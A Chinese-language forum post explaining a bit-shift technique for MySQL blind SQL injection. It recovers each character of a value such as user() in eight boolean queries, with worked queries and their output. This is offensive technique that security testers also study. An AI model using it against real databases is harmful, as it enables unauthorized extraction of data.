admin 发表于 2013-3-7 13:25:30

关于通过对8bit的ascii做右位移提高mysql盲注效率

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



下面将以查询mysql数据库当中user()的第一位为例:



ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;



我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的



第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



如果运算结果为1,说明第一位为0,不为1



+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |

+————————————–+

1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0



第二次我们来做6次右偏移来确定前两位



前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

| 0 |

+————————————–+

1 row in set (0.00 sec)



结果为0,即第二位为1



开始猜测前三位为010或011



让我们看看010和011的ascii码是多少



分别查询select b’011′ select b’010′



获得结果 010 = 2 011 = 3



执行如下sql:



mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

| 0 |

+————————————–+

即前三位不为010,而是011



直到获得最后一位



最终结果为:01110010



转换一下:



select b’01110010′



查询结果



+————-+

| b’01110010′ |

+————-+

| r |

+————-+

1 row in set (0.00 sec)



这样我们就获得了user()的第一位.其它位依此类推

页: [1]
查看完整版本: 关于通过对8bit的ascii做右位移提高mysql盲注效率